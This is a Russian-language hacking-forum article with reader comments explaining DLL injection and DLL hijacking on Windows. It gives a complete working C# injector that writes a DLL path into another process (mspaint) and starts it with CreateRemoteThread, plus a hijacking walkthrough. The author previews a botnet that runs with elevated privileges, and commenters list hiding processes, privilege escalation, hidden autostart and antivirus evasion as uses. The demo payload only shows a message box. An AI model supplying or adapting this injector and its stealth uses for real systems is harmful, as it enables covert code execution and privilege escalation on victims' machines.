Статья DLL Injection

Привет господа форумчане. Давненько я не писал, но ничего страшного, скоро решатся пара бытовых проблем и выпуск статей нормализуется по 2 - 3 в неделю. А сегодня, мы поговорим немного не мало о технике DLL Инъекций и рассмотрим пару примеров.

Итак что такое DLL Инъекция?
Это тип атаки, который позволяет внедрять исполняемый код из DLL в процесс(исполняемую программу), что дает возможность выполнить код от имени пользователя под которым запущен процесс.

Рассмотрим 2 вида этой техники обычную DLL Injection и Dll Hijacking, а так же чем они отличаются.

DLL Injection
Как обычно в моем стиле, сразу к делу и на практике.
Задача: Заинжектить исполняемый код в программу Paint.
Для этого немного раскрою суть атаки.
Сначала мы ищем процесс, далее выделяем память для нашей DLL,
после чего загружаем её в новый поток внутри процесса, таким образом, инжектор выполнит код от имени пользователя программы.
Создаем DLL файл со следующим кодом.
C:
 #include <Windows.h>

extern "C" __declspec(dllexport) bool WINAPI DllMain(HINSTANCE hInstDll, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
    {
        MessageBox(NULL, "DLL INJECTION", "SPECIAL FOR CODEBY", MB_OK);
        break;
    }

    case DLL_PROCESS_DETACH:
        break;

    case DLL_THREAD_ATTACH:
        break;

    case DLL_THREAD_DETACH:
        break;
    }
    return true;
}

А далее напишем инжектор и разберем его по частям:

По сути основной смысл находится в этих двух методах
Код:
  public static int inject(string dllPath, Process tProcess)
        {
            Process targetProcess = tProcess; // Получаем процесс куда инжектим
            string dllName = dllPath; // Имя дллки что инжектим
            IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id); //открываем процесс для записи и чтения
            IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); // Получаем адрес процесса
            IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Выделяем память под новый тред
            UIntPtr bytesWritten;
            WriteProcessMemory(procHandle, allocMemAddress, Encoding.Default.GetBytes(dllName), (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten); // Пишем в новую область памяти
            CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero); // создаем поток в области памяти который запускает наш код
            return 0;
        }

// Здесь же просто вызов метода инжект
        public static void Execute()
        {
            string rawDLL = String.Empty;
            if (is64BitOperatingSystem)
            {
                rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll");
            }
            else
            {
                rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll");
            }
            // Execution of injection
            Process proc = Process.GetCurrentProcess(); //GetProcessesByName("mspaint")[0];
            Injection.inject(rawDLL, proc);
            isInjected = true;
        }

Полностью весь код, целиком:

Код:
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
using System.Reflection;

namespace alphabotcsharp
{
    public class Injection
    {
        [DllImport("kernel32.dll")]
        public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            uint flAllocationType,
            uint flProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess,
            IntPtr lpBaseAddress,
            byte[] lpBuffer,
            uint nSize,
            out UIntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess,
            IntPtr lpThreadAttributes,
            uint dwStackSize,
            IntPtr lpStartAddress,
            IntPtr lpParameter,
            uint dwCreationFlags,
            IntPtr lpThreadId);

        // privileges
        const int PROCESS_CREATE_THREAD = 0x0002;
        const int PROCESS_QUERY_INFORMATION = 0x0400;
        const int PROCESS_VM_OPERATION = 0x0008;
        const int PROCESS_VM_WRITE = 0x0020;
        const int PROCESS_VM_READ = 0x0010;

        // used for memory allocation
        const uint MEM_COMMIT = 0x00001000;
        const uint MEM_RESERVE = 0x00002000;
        const uint PAGE_READWRITE = 4;

        public static bool isInjected = false;
        [DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.Winapi)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool IsWow64Process(
            [In] IntPtr hProcess,
            [Out] out bool wow64Process
        );

        static bool is64BitProcess = (IntPtr.Size == 8);
        static bool is64BitOperatingSystem = is64BitProcess || InternalCheckIsWow64();

        public static int inject(string dllPath, Process tProcess)
        {
            Process targetProcess = tProcess;
            string dllName = dllPath;
            IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);
            IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
            IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
            UIntPtr bytesWritten;
            WriteProcessMemory(procHandle, allocMemAddress, Encoding.Default.GetBytes(dllName), (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);
            CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero);
            return 0;
        }

        public static void Execute()
        {
            string rawDLL = String.Empty;
            if (is64BitOperatingSystem)
            {
                rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll");
            }
            else
            {
                rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll");
            }
            // Execution of injection
            Process proc = Process.GetProcessesByName("mspaint")[0];
            Injection.inject(rawDLL, proc);
            isInjected = true;
        }
        public static Boolean isInjectedAlready()
        {
            if (isInjected)
            {
                return true;
            }
            else
            {
                return false;
            }
        }
        public static bool InternalCheckIsWow64()
        {
            if ((Environment.OSVersion.Version.Major == 5 && Environment.OSVersion.Version.Minor >= 1) ||
                Environment.OSVersion.Version.Major >= 6)
            {
                using (Process p = Process.GetCurrentProcess())
                {
                    bool retVal;
                    if (!IsWow64Process(p.Handle, out retVal))
                    {
                        return false;
                    }
                    return retVal;
                }
            }
            else
            {
                return false;
            }
        }
    }

    public class Program
    {
        public static void Main()
        {
            Injection.Execute();
        }
    }
}

Профит
upload_2016-12-25_3-20-44.png


DLL Hijacking
Это мы взглянули в целом на технику DLL Injection, а теперь же давайте посмотрим на DLL Hijacking.
Идея этой уязвимости заключается в особенности организации работы подхвата dll'ок. Совершенно логично, что в первую очередь при добавлении библиотеки, маперы ищут её в своей директории, и только потом в заданных настройках ОС. Таким образом мы получаем, что если мы знаем имя библиотеки, подгружаемой в утилиту, а так же существует собственно сама уязвимость dll hijacking'a, мы можем подложить нашу dll с нагрузкой в корень с утилитой.

Я перепишу код метода Main, который на на этот раз, будет архи простым, но дергать метод из другой dll библиотеки. Напишем же её.

Код:
using System.Windows.Forms;

namespace DllValid
{
    public class Validation
    {
        public void GetMessage()
        {
            MessageBox.Show("Я нормальная библиотека");
        }
 
    }
}

А вот код метода Main, когда мы подключим нашу библиотеку.
upload_2016-12-25_3-39-57.png

Код:
using DllValid;

namespace alphabotcsharp
{
    public class Program
    {
        public static void Main()
        {
            Validation message = new Validation();
            message.GetMessage();
        }
    }
}

Убедимся, что всё работает.
upload_2016-12-25_3-44-36.png


Как мы видим, на этот раз, код оказался до боли простой, но метод ссылается на другой путь. Теперь возьмем dll из старого проекта и кинем в наш, переназвав его соответственно. Получаем ошибку о том, что не соотвествует манифест. Здесь нам поможет в исследовании утилитка dotPeek.
upload_2016-12-25_3-51-7.png

Загрузим в утилиту наш билд:

upload_2016-12-25_3-49-46.png

Как мы видим, утилита, с помощью радостей рефлексии, выдергивает манифесты сборки, классы, методы и многое другое. Однако если у нас не .Net приложение то можно использовать утилиту ProcessExplorer.exe, которая показывает сборки используемые в проекте. Понятное дело, что если мы перепишем dll с таким же namespace'om, именем класса и метода, то всё отработает.

Но это не интересно. Всё таки нам нужно вызвать наш метод, для этого вместо DllMain воспользуемся методом IClassFactory::CreateInstance

В результате перепишем метод DLLMain на CreateInstance и снова кладем её в нашу директорию с утилитой.

Профит: Хотя мы и получаем в результате ошибку, наш код всё равно выполняется, так как инстанс создается раньше, чем система проверяет манифест.
upload_2016-12-25_4-11-49.png


На этом всё, всем спасибо. :)

P.S. Те кто ждут статью про ботнет, обязательно дождутся, в следующей статье добавим еще две команды, отрефакторим весь предыдущий код и будем запускаться с повышенными привилегиями по запросу (а в некоторых случаях и без него).
 

Вложения

  • upload_2016-12-25_3-20-24.png
    upload_2016-12-25_3-20-24.png
    25,8 КБ · Просмотры: 979
  • upload_2016-12-25_3-44-22.png
    upload_2016-12-25_3-44-22.png
    2,3 КБ · Просмотры: 574
Последнее редактирование:
Так что же мне делать...желание есть...с чего начать господа...php знаю и что связано с ним...не думаю что будет трудно изучить то что необходимо для понимания тем что здесь освещены!
Сложный вопрос. С чего начать. Хек вообще многогранен. Кто то идет в реверс, кто то ломает бинарные уязвимости, кто то в веб идет, а кто то в сети. Решай площадки коих тысячи, играй в СTF, много читай и много пиши.
 
  • Нравится
Реакции: stilya
Сложный вопрос. С чего начать. Хек вообще многогранен. Кто то идет в реверс, кто то ломает бинарные уязвимости, кто то в веб идет, а кто то в сети. Решай площадки коих тысячи, играй в СTF, много читай и много пиши.
И на том спасибо!
 
И на том спасибо!
Вообще на этот вопрос я бы ответил - Главное начать и постоянно что то делать. А в какую область хека попадешь, ты сам потом решишь. Я пробовал и реверс и пентест, а сейчас решил наскилять в бинарной экплуатации, пока точно не решил в каком направлении я хочу развиваться. А вообще в ИБ я пришел из кодинга.
 
Последнее редактирование:
  • Нравится
Реакции: stilya
Вообще на этот вопрос я бы ответил - Главное начать и постоянно что то делать. А в какую область хека попадешь, ты сам потом решишь. Я пробовал и реверс и пентест, а сейчас решил наскилять в бинарной экплуатации, пока точно не решил в каком направлении я хочу развиваться. А вообще в ИБ я пришел из кодинга.
Спасибо за поддержку...думаю это правильно...нужно что-то делать и по ходу пьесы задавать вопросы если что-то не понятно...думаю здесь помогут!
 
Как на такой тип атаки реагируют AV и Windows Defender?
 
Как на такой тип атаки реагируют AV и Windows Defender?
Эти техники не используются для байпасса AV. Байпасс AV - это совсем другая история и если говорить о DLL Injection, то будет ли детектится твоя DLL или нет целиком и полностью зависит как ты её написал и закриптовал. А эти техники используются для того, чтобы...
а) Спрятать процесс в диспетчере задач
б) Повысить привилегии за счет запуска кода от привелигированных программ
в) Скрытый автозапуск и другое.
 
  • Нравится
Реакции: BaJIepraH
Эти техники не используются для байпасса AV. Байпасс AV - это совсем другая история и если говорить о DLL Injection, то будет ли детектится твоя DLL или нет целиком и полностью зависит как ты её написал и закриптовал. А эти техники используются для того, чтобы...
а) Спрятать процесс в диспетчере задач
б) Повысить привилегии за счет запуска кода от привелигированных программ
в) Скрытый автозапуск и другое.
Большое спасибо за содержательный ответ!
 
А быть с инжектом C# библиотек? Ведь там не точки входя насколько я знаю. Допустим в случае с тем же С# ботнетом как поступить?
 
Я здесь же на форуме выкладывал сорцы инжектора
 
Я здесь же на форуме выкладывал сорцы инжектора
Этот? link removed Он отлично инжектит С++ дллки, но написанные на C# не работают. По крайней мере у меня. Я собирал DDL из примера "dllSooLFaa.dll" и ничего не происходит. Собирал под разные платформы (64/32) как dll так и сам инжектор. Не знаю как быть.
 
А есть методы подмены DLL попроще,для не сильно сведущих в программировании ? ) Что то вроде того,как упаковывается DLL в cab и через wusa запускается. На свежих версиях винды вроде уже не работает
 
}
Эти техники не используются для байпасса AV. Байпасс AV - это совсем другая история и если говорить о DLL Injection, то будет ли детектится твоя DLL или нет целиком и полностью зависит как ты её написал и закриптовал. А эти техники используются для того, чтобы...
а) Спрятать процесс в диспетчере задач
б) Повысить привилегии за счет запуска кода от привелигированных программ
в) Скрытый автозапуск и другое.
А для перехвата нажатия клавиш и скриншота, тоже используется эта техника?
 
раньше думал что только на асме и си можно писать машинный кодес, а тут если не ошибаюсь на шарпе такая реализация весьма эпично
 
}
А для перехвата нажатия клавиш и скриншота, тоже используется эта техника?
Кучу техник. Это используется в основном в рамках privesc

Этот? link removed Он отлично инжектит С++ дллки, но написанные на C# не работают. По крайней мере у меня. Я собирал DDL из примера "dllSooLFaa.dll" и ничего не происходит. Собирал под разные платформы (64/32) как dll так и сам инжектор. Не знаю как быть.
Статья двух годичной давности. Подозреваю, что .Net сильно изменился.
P.S. Не знаю, зачем вообще поднята эта тема.
 
не смотря на то что язык программирования усовершенствовался а методики инжекта в системные дллки остался прежним,
поэтому все актуально я так полагаю, хотя наверно на 64 битных системах все немного иначе, ведь система выделения памяти для процессов иначе чем на 32 битных линейках
 
Впринципе хорошая тема... только мне пока на ум не пришло как это можно использывать.. На удаленной машине если у тебя нету прав, ты не можешь манипулировать с файлами - аплоид мув и т.д
соответственно если у тебя нету прав ты не можешь загрузить свою длл и код для инжекта который реализует все в какой то процесс... а если у тебя есть права так зачем тебе тогда что то инжектить если ты и так с привилегиями наивышими.. или я что то не понимаю.. Админ, друг объясни)))
 
Впринципе хорошая тема... только мне пока на ум не пришло как это можно использывать.. На удаленной машине если у тебя нету прав, ты не можешь манипулировать с файлами - аплоид мув и т.д
соответственно если у тебя нету прав ты не можешь загрузить свою длл и код для инжекта который реализует все в какой то процесс... а если у тебя есть права так зачем тебе тогда что то инжектить если ты и так с привилегиями наивышими.. или я что то не понимаю.. Админ, друг объясни)))
Эта техника используется в основном для поднятия привелегии, когда какая то программа запускается под админом. Второй вариант для скорытия процесса или обхода АВ.
 
  • Нравится
Реакции: NeoOne
Эта техника используется в основном для поднятия привелегии, когда какая то программа запускается под админом. Второй вариант для сокрытия процесса или обхода АВ.
Я написал вопрос и спустя пару часов допер. Спасибо за ответ!
 
Последнее редактирование модератором:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!